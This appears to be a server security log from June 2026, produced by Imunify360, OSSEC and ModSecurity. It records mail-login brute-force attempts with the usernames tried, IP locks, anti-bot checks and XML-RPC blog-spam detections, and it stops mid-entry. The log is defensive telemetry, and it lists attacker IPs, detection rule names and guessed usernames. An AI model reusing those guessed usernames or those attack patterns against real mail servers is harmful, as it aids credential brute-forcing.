103.108.92.88 - - [17/Jun/2026:13:52:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:52:45 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:52:55 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:41052: 535 Incorrect authentication data (set_id=pretzel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:52:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:2112: 535 Incorrect authentication data (set_id=dan2)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:52:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:52:45 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:52:53 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:52:25 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:52:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:10190: 535 Incorrect authentication data (set_id=aud)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:12b7d7ada03c91fbcb9207418fdbebb2d7a49141||Title:hu6zuao0l67tfy2c||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.136.142.13
country_id: 1814991
description:
Jun 17 13:53:03 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.136.142.13 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:52:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:56620: 535 Incorrect authentication data (set_id=admin4)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:52:44 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:52:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:5232: 535 Incorrect authentication data (set_id=pochta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:52:46 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:1356: 535 Incorrect authentication data (set_id=perla)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:53:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:42162: 535 Incorrect authentication data (set_id=fatma)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:53:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:53:49 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:53:51 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:17912: 535 Incorrect authentication data (set_id=lsj)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:53:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:43136: 535 Incorrect authentication data (set_id=analiza)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:53:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:45502: 535 Incorrect authentication data (set_id=valery)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:53:42 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:2998: 535 Incorrect authentication data (set_id=valery)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:53:30 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:53:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:43740: 535 Incorrect authentication data (set_id=hospital)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:53:42 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:53:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:16708: 535 Incorrect authentication data (set_id=amanda@123456)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fe8af9678bebae385fa893164c7a3a3ca13210f2||Title:fjqf69thkp8rqkgu4||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:54:08 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:54:28 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:54:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.119.130.215
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/67119894 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c08a8fa8f925de6f8dbec96b90f1e485b6528296||Title:h6f95oldq3y9b5hx2r||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:54:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:54972: 535 Incorrect authentication data (set_id=xxxxxx)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:54:46 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.88
country_id: 2077456
description:
103.108.92.88 - - [17/Jun/2026:13:55:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6513556&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704501 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.88


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:54:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:57462: 535 Incorrect authentication data (set_id=horst)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:54:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:43534: 535 Incorrect authentication data (set_id=adamas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:54:34 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:20542: 535 Incorrect authentication data (set_id=mart)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 203.57.50.250
country_id: 2077456
description:
203.57.50.250 - - [17/Jun/2026:13:55:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12961938&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704501 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:203.57.50.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:54:32 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:54:48 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:59194: 535 Incorrect authentication data (set_id=ldap4)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:55:14 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11832: 535 Incorrect authentication data (set_id=reminder)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [17/Jun/2026:13:54:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10209182&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704488 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:55:12 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:55:41 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [17/Jun/2026:13:55:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6710676&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprojet-dappui-a-la-gouvernance-economique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704522 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/projet-dappui-a-la-gouvernance-economique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:55:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:33996: 535 Incorrect authentication data (set_id=church)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:55:29 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:55:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:55:43 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35934: 535 Incorrect authentication data (set_id=abc)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:55:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:30f73ad9861bdce07b44b675f5d2b4318447d3d7||Title:o4ofbqqe64tyc8||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:55:27 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:55:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:61762: 535 Incorrect authentication data (set_id=webedit)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:55:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:31496: 535 Incorrect authentication data (set_id=nurse)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:55:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39378: 535 Incorrect authentication data (set_id=reminder)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:55:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:34130: 535 Incorrect authentication data (set_id=tachi)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b6b73a6fbe8003539a3be58a17d0b93719623cfb||Title:npybkzarqdk3wca||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:56:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:56:51 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:57:03 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:12674: 535 Incorrect authentication data (set_id=riesgo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:56:30 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:14216: 535 Incorrect authentication data (set_id=biv)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:56:37 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:56:39 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:12646: 535 Incorrect authentication data (set_id=ken)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:56:41 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:56:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:38502: 535 Incorrect authentication data (set_id=liste)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:56:53 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56136: 535 Incorrect authentication data (set_id=817)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:57:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:49062: 535 Incorrect authentication data (set_id=riesgo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:56:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:60436: 535 Incorrect authentication data (set_id=ns5)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:57:01 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:57:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:53826: 535 Incorrect authentication data (set_id=ute)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:57:57 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:57:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:53776: 535 Incorrect authentication data (set_id=ngwnameserver2)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [17/Jun/2026:13:57:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661591&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781704678 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:623dfe42b3e917160805b707f089af68ee52b063||Title:68bbm1tx6xqrjf||RSV:8.18||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:57:26 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:57:33 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:57:34 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:57:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:57:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:12418: 535 Incorrect authentication data (set_id=nbb6)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:57:28 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:44286: 535 Incorrect authentication data (set_id=body)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:57:35 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:32200: 535 Incorrect authentication data (set_id=nikolas)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:57:36 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:11490: 535 Incorrect authentication data (set_id=respaldo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 17 13:58:36 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 17 13:58:24 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-17 13:58:26 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:8450: 535 Incorrect authentication data (set_id=chance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-17 13:58:44 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:52700: 535 Incorrect authentication data (set_id=recepcio)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.62
country_id: 130758
description:
Jun 17 13:58:52 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.62 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.146.149.173
country_id: 1282988
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/7b8ba0 HTTP/1.1||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.62
country_id: 130758
description:
2026-06-17 13:58:54 dovecot_login authenticator failed for H=(localhost) [81.30.98.62]:30188: 535 Incorrect authentication data (set_id=kingsley)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 17 13:58:42 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-17 13:58:38 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:30562: 535 Incorrect authentication data (set_id=turystyka)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.83.104.137
country_id: 2921044
description:
Jun 17 13:58:31 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.83.104.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.83.104.137
country_id: 2921044
description:
2026-06-17 13:58:33 dovecot_plain authenticator failed for H=v2202307203666234413.quicksrv.de (cd8kuuowactqmnlf) [45.83.104.137]:51072: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 140.213.111.67
country_id: 1643084
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:ekeasarl.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8b3f0ca89bbe932cc7599059f21f7b7951137bd3||Title:gw8dev71axdfk9u||RSV:8.18||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.142
country_id: 130758
description:
2026-06-17 13:58:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.142]:52870: 535 Incorrect authentication data (set_id=aben)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.158
country_id: 130758
description:
2026-06-17 13:58:58 dovecot_login authenticator failed for H=(localhost) [81.30.98.158]:4948: 535 Incorrect authentication data (set_id=name123)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.158
country_id: 130758
description:
Jun 17 13:58:56 ns5 auth[1937976]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
